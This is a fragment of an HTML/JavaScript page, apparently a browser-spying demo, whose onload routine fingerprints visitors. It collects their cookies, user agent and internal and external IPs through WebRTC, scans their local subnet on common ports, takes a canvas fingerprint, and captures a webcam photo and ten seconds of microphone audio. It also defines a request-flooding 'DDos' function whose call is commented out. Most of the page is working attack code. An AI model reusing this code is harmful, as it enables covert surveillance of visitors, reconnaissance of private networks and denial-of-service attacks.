                    info += "<tr style='color: red'><td >MAC地址"  + ":" + returnCitySN["cname"] + "</td></tr>";
                    info += "<tr style='color: red'><td >IP地址"  + ":" + returnCitySN["cip"] + "</td></tr>";
                   
               
                info += "</table>";
                return info;
            }
            
            
            //获取当前时间
            function getDate() {
                var dt = new Date();
                var info = "<table border=1>";
                info += "<tr bgcolor='#CDEDED' style='font-weight: bold;' ><td width='450'>时间:</td></tr>";
                 
                    info += "<tr style='color: red'><td >系统时间"  + ":" + dt + "</td></tr>";
                   
                   
               
                info += "</table>";
                return info;
            }
             

            function pcInfo() { //所有信息 
                
                var info = ipinfo2();
                
                try {
                            info += getDate();
                            info += cpuinfo();
                            info += disk();
                            info += raminfo();
                            info += mainBoard();
                            info += ipinfo();
                            info += keyBoardInfo();
                            info += RomInfo();
                            info += softDisk();
                }
                catch(err){
                     console.log(err) // 可执行
                }

                

                document.getElementById('elInfo').innerHTML = info;
                return info;
            }



            /******************************************以上为pc信息************************************************/
            
            
            
            
        
        </script>
        
        <script>
        
        
            
            
            
            
            
            
            
            
            
var info={
    ip:null,
    inner_ip:null,
    intranet: [],
    
    agent:null,
    geo:{
        support:null,
        error_code:null,
        lat:null,
        lon:null,
        address:null,
    },
    cookie:null,
    time:null,
    canvas_id:null,
    selfie:null,
    platform:null,
    device:null,
    window_screen:null,
    blob:null,
    download_speed:null,
};

info.cookie=document.cookie;
info.time=(new Date()).toString();
info.agent=navigator.userAgent;

function ajax(url,foo){
    var xmlhttp=new XMLHttpRequest();
    xmlhttp.onreadystatechange=function(){
        if (xmlhttp.readyState==4 && xmlhttp.status==200) {
            foo(xmlhttp.responseText);
        };
    };
    xmlhttp.open('GET',url,true);
    xmlhttp.send();
}

function bin2hex(bin){
    var i=0, l=bin.length,chr,hex='';
    for (i; i < l; ++i){
        chr=bin.charCodeAt(i).toString(16);
        hex+=chr.length<2 ? '0'+chr : chr;
    }
    return hex;
}

function detectOS(){
    var sUserAgent=navigator.userAgent;
    var isWin = (navigator.platform == "Win32") || (navigator.platform == "Windows");

    var isMac = (navigator.platform == "Mac68K") || (navigator.platform == "MacPPC") || (navigator.platform == "Macintosh") || (navigator.platform == "MacIntel");
    if (isMac) return "Mac";

    var bIsIpad = sUserAgent.match(/ipad/i) == "ipad";
    if (bIsIpad) return "iPad";
    
    var isUnix = (navigator.platform == "X11") && !isWin && !isMac;
    if (isUnix) return "Unix";
    
    var isLinux = (String(navigator.platform).indexOf("Linux") > -1);
    var bIsAndroid = sUserAgent.toLowerCase().match(/android/i) == "android";
    if (isLinux) {
        if(bIsAndroid) return "Android";
        else return "Linux";
    }

    var bIsCE = sUserAgent.match(/windows ce/i) == "windows ce";
    if (bIsCE) return "WinCE";

    var bIsWM = sUserAgent.match(/windows mobile/i) == "windows mobile";
    if (bIsWM) return "WinMobile";

    if (isWin) {
        var isWin2K = sUserAgent.indexOf("Windows NT 5.0") > -1 || sUserAgent.indexOf("Windows 2000") > -1; 
        if (isWin2K) return "Win2000";

        var isWinXP = sUserAgent.indexOf("Windows NT 5.1") > -1 || sUserAgent.indexOf("Windows XP") > -1; 
        if (isWinXP) return "WinXP";

        var isWin2003 = sUserAgent.indexOf("Windows NT 5.2") > -1 || sUserAgent.indexOf("Windows 2003") > -1; 
        if (isWin2003) return "Win2003";

        var isWinVista= sUserAgent.indexOf("Windows NT 6.0") > -1 || sUserAgent.indexOf("Windows Vista") > -1; 
        if (isWinVista) return "WinVista";

        var isWin7 = sUserAgent.indexOf("Windows NT 6.1") > -1 || sUserAgent.indexOf("Windows 7") > -1; 
        if (isWin7) return "Win7";

        var isWin8 = sUserAgent.indexOf("Windows NT 6.2") > -1 || sUserAgent.indexOf("Windows 8") > -1;
        if (isWin8) return "Win8";
    }

    return "Unknow";
}

function send_info(){
    var jsonText=JSON.stringify(info);
    console.log(jsonText);
}

// 获取屏幕分辨率的宽高,并判断操作系统,设备型号
function device_platform(){
    info.platform=detectOS();
    info.window_screen=String(window.screen.width)+'x'+String(window.screen.height);
}

// 拍照
// Need to request permission
function selfie(){
    window.URL = window.URL || window.webkitURL;
    navigator.getUserMedia=navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia;

    // 创建video元素
    var video=document.createElement('video'),
    videoObj={'video':true},
    errBack=function(error){
        console.log('Video capture error: ',error.name);
        info.selfie=error.name;
    };

    // 获取媒体
    if(navigator.getUserMedia){
        navigator.getUserMedia(videoObj,function(stream){
            video.src=window.URL.createObjectURL(stream);
            video.play();

            video.onloadedmetadata = function(e) {
                setTimeout(function(){
                    if(info.selfie==null){
                        // 截取图片
                        var canvas=document.createElement('canvas'),
                        ctx=canvas.getContext('2d');
                        canvas.width=640;
                        canvas.height=480;
                        ctx.drawImage(video,0,0,640,480);
                        var image=canvas.toDataURL('image/png');
                        info.selfie=image;
                        console.log('Take selfie successful!');

                        // 关闭摄像头
                        stream.stop();
                        video.src='';
                    };
                },3000);
            };
        },errBack);
    }
}

// 录音
// Need to request permission
function voice_record(){
    window.URL=window.URL || window.webkitURL;
    navigator.getUserMedia=navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia;
    window.AudioContext=window.AudioContext || window.webkitAudioContext || window.mozAudioContext || window.msAudioContext;

    var HZRecorder=function(stream,config){
        config=config || {};
        // 采样数8位
        config.sampleBits=config.sampleBits || 8;
        // 采样率(1/6 44100)
        config.sampleRate=config.sampleRate || (44100/6);

        var context=new window.AudioContext();
        var audioInput=context.createMediaStreamSource(stream);
        var recorder=context.createScriptProcessor(4096,1,1);

        var audioData={
            size:0, // 录音文件长度
            buffer:[], // 录音缓存
            inputSampleRate:context.sampleRate, // 输入采样率
            inputSampleBits:16, // 输入采样数位 16
            outputSampleRate:config.sampleRate, // 输出采样率
            oututSampleBits:config.sampleBits, // 输出采样数位 8
            input:function(data){
                this.buffer.push(new Float32Array(data));
                this.size+=data.length;
            },
            //合并压缩
            compress:function(){
                //合并
                var data=new Float32Array(this.size);
                var offset=0;
                for (var i=0; i<this.buffer.length; i++){
                    data.set(this.buffer[i],offset);
                    offset+=this.buffer[i].length;
                }
                //压缩
                var compression=parseInt(this.inputSampleRate / this.outputSampleRate);
                var length=data.length / compression;
                var result=new Float32Array(length);
                var index=0,j=0;
                while (index<length){
                    result[index]=data[j];
                    j+=compression;
                    index++;
                }
                return result;
            },
            encodeWAV:function(){
                var sampleRate=Math.min(this.inputSampleRate, this.outputSampleRate);
                var sampleBits=Math.min(this.inputSampleBits, this.oututSampleBits);
                var bytes=this.compress();
                var dataLength=bytes.length*(sampleBits/8);
                var buffer=new ArrayBuffer(44+dataLength);
                var data=new DataView(buffer);

                // 单声道
                var channelCount=1;
                var offset=0;

                var writeString=function(str){
                    for (var i=0; i<str.length; i++){
                        data.setUint8(offset+i, str.charCodeAt(i));
                    }
                };
                
                // 资源交换文件标识符 
                writeString('RIFF'); offset+=4;
                // 下个地址开始到文件尾总字节数,即文件大小-8 
                data.setUint32(offset, 36+dataLength, true); offset += 4;
                // WAV文件标志
                writeString('WAVE'); offset+=4;
                // 波形格式标志 
                writeString('fmt '); offset+=4;
                // 过滤字节,一般为 0x10 = 16 
                data.setUint32(offset, 16, true); offset+=4;
                // 格式类别 (PCM形式采样数据) 
                data.setUint16(offset, 1, true); offset+=2;
                // 通道数 
                data.setUint16(offset, channelCount, true); offset+=2;
                // 采样率,每秒样本数,表示每个通道的播放速度 
                data.setUint32(offset, sampleRate, true); offset+=4;
                // 波形数据传输率 (每秒平均字节数) 单声道×每秒数据位数×每样本数据位/8 
                data.setUint32(offset, channelCount * sampleRate * (sampleBits / 8), true); offset += 4;
                // 快数据调整数 采样一次占用字节数 单声道×每样本的数据位数/8 
                data.setUint16(offset, channelCount * (sampleBits / 8), true); offset += 2;
                // 每样本数据位数 
                data.setUint16(offset, sampleBits, true); offset+=2;
                // 数据标识符 
                writeString('data'); offset+=4;
                // 采样数据总数,即数据总大小-44 
                data.setUint32(offset, dataLength, true); offset+=4;
                // 写入采样数据 
                if(sampleBits===8){
                    for (var i=0; i<bytes.length; i++,offset++) {
                        var s=Math.max(-1, Math.min(1, bytes[i]));
                        var val=s<0 ? s*0x8000 : s*0x7FFF;
                        val=parseInt(255 / (65535 / (val+32768)));
                        data.setInt8(offset,val,true);
                    }
                }
                else{
                    for (var i=0; i<bytes.length; i++,offset+=2) {
                        var s=Math.max(-1, Math.min(1, bytes[i]));
                        data.setInt16(offset, s<0 ? s*0x8000 : s*0x7FFF, true);
                    }
                }
                return new Blob([data], {type:'audio/wav'});
            }
        };

        // 音频采集
        recorder.onaudioprocess=function(e){
            audioData.input(e.inputBuffer.getChannelData(0));
        }

        // 开始录音
        this.start=function(){
            audioInput.connect(recorder);
            recorder.connect(context.destination);
        }

        // 停止录音
        this.stop=function(){
            stream.stop();
            recorder.disconnect();
        }

        // 获取音频文件
        this.getBlob=function(){
            this.stop();
            return audioData.encodeWAV();
        }
    };

    // 抛出异常
    HZRecorder.throwError=function(message){
        console.log(message);
        throw new function () { this.toString = function () { return message; } }
    }

    // 是否支持录音
    HZRecorder.canRecording=(navigator.getUserMedia != null);

    // 获取录音机
    HZRecorder.get=function (callback,config){
        if (callback){
            if (navigator.getUserMedia){
                navigator.getUserMedia(
                    {audio:true},
                    function (stream){
                        var rec = new HZRecorder(stream, config);
                        callback(rec);
                    },
                    function (error){
                        switch (error.code || error.name) {
                            case 'PERMISSION_DENIED':
                            case 'PermissionDeniedError':
                                HZRecorder.throwError('用户拒绝提供信息');
                                break;
                            case 'NOT_SUPPORTED_ERROR':
                            case 'NotSupportedError':
                                HZRecorder.throwError('浏览器不支持硬件设备');
                                break;
                            case 'MANDATORY_UNSATISFIED_ERROR':
                            case 'MandatoryUnsatisfiedError':
                                HZRecorder.throwError('无法发现指定的硬件设备');
                                break;
                            default:
                                HZRecorder.throwError('无法打开麦克风。异常信息:' + (error.code || error.name));
                                break;
                        }
                    });
            }
            else{
                HZRecorder.throwErr('当前浏览器不支持录音功能。');
                return;
            }
        }
    };

    window.HZRecorder=HZRecorder;

    var recorder;
    HZRecorder.get(function (rec) {
        recorder=rec;
        recorder.start();
    });

    // 录音10s
    setTimeout(function(){
        var blob=recorder.getBlob();
        info.blob=blob;
        console.log('voice record finished.');
    },10000);
}

// DDos攻击
function DDos(site){
    // CSRF
    setInterval(ajax(site,function(){
        console.log('DDos ',site);
    }),50);
}

// 获取IP地址,第一个是内网ip,第二个是外网ip
function getIPs(callback){
    var ip_dups = {};
    var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
    var mediaConstraints = {
        optional: [{RtpDataChannel: true}]
    };
    var servers = undefined;
    var i = 0;
    if(window.webkitRTCPeerConnection) servers = {iceServers: [{urls:"stun:stun.services.mozilla.com"}]};
    var pc = new RTCPeerConnection(servers, mediaConstraints);
    pc.onicecandidate = function(ice){
        if(ice.candidate){
            var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/
            var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];
            if (ip_dups[ip_addr] === undefined) callback(ip_addr, i++);
            ip_dups[ip_addr] = true;
        }
    };
    pc.createDataChannel("");
    pc.createOffer(function(result){
        pc.setLocalDescription(result, function(){});
    }, function(){});
}

function get_ip_addr(){
    getIPs(function(ip, i){
        if(i == 0) info.inner_ip = ip;
        else if(i == 1) info.ip = ip;
    });
}

// 内网扫描
function intranet_scan(){
    // 常见端口
    var ports = [21,22,23,25,43,80,110,137,138,139,161,170,220,443,3306,8080];
    var body = document.getElementsByTagName("body")[0];

    getIPs(function(ip, id){
        if (id == 0) {
            ip = ip.split(".");
            ip.pop();
            ip = ip.join(".");
            for (var i = 1; i < 255; i++) {
                for (var p of ports) {
                    var script = document.createElement("script");
                    var host = ip + "." + i + ":" + p;
                    script.src = "http://" + host;
                    script.onload = "info.intranet.push('"+host+"')";
                    body.appendChild(script);
                }
            }
        }
    });
}

// 利用canvas定位唯一标识
function canvas_id(){
    var canvas=document.createElement('canvas');
    var ctx=canvas.getContext('2d');
    var txt='http://eular.github.io';
    ctx.textBaseline='top';
    ctx.font="14px 'Arial'";
    ctx.fillStyle='#0ff';
    ctx.fillRect(0,0,140,50);
    ctx.fillStyle='#00f';
    ctx.fillText(txt,2,15);
    ctx.fillStyle='rgba(102,204,0,0.7)';
    ctx.fillText(txt,4,17);

    var b64=canvas.toDataURL().replace('data:image/png;base64,','');
    var bin=atob(b64);
    var crc=bin2hex(bin.slice(-16,-12));
    console.log('Canvas id: '+crc);
    info.canvas_id=crc;
}
 

// 网络测速
function network_speed(){
    // 图片测速
    var image=new Image();
    // 图片大小: 1232.7kb
    size=1232.7;
    image.src='https://raw.githubusercontent.com/Urinx/browspy/master/screenshot/test.jpg';
    startTime=new Date().getTime();
    
    // 图片加载完毕
    image.onload=function(){
        endTime=new Date().getTime();
        // kb/s
        speed=size/((endTime-startTime)/1000);
        // 保留一位小数
        speed=parseInt(speed*10)/10;
        info.download_speed=speed+'kb/s';
        console.log('Download speed testing finished!');
    }

    /*
    // 音频测速
    var audio=new Audio();
    // 大小: 1.3M
    size=1235.87;
    audio.src='https://raw.githubusercontent.com/Urinx/browspy/master/screenshot/ValderFields.mp3';
    audio.volume=0;
    audio.play();

    startTime=new Date().getTime();

    var timer;
    timer=setInterval(function(){
        if (audio.networkState==1) {
            endTime=new Date().getTime();
            speed=size/((endTime-startTime)/1000);
            speed=parseInt(speed*10)/10;
            info.download_speed=speed+'kb/s';

            console.log('Download speed testing finished!');
            audio.stop();
            clearInterval(timer);
        };
    },100);
    */
}

window.onload=function(){
    device_platform();
    get_ip_addr();
    intranet_scan();
    canvas_id();
    selfie();
 
    network_speed();
    voice_record();
    //DDos('http://baidu.com');
    
    
    send_info();
};
        </script>

    </head>

    <body>

        <INPUT id="Button1" type="button" value="浏览器所有信息" name="Button1" language=javascript onclick="allinfo()">

        <INPUT id="Button1" type="button" value="客户端pc信息" name="Button1" language=javascript onclick="pcInfo()">

        <div id="elInfo">

        </div>
    </body>

</html>

Xander
195 声望50 粉丝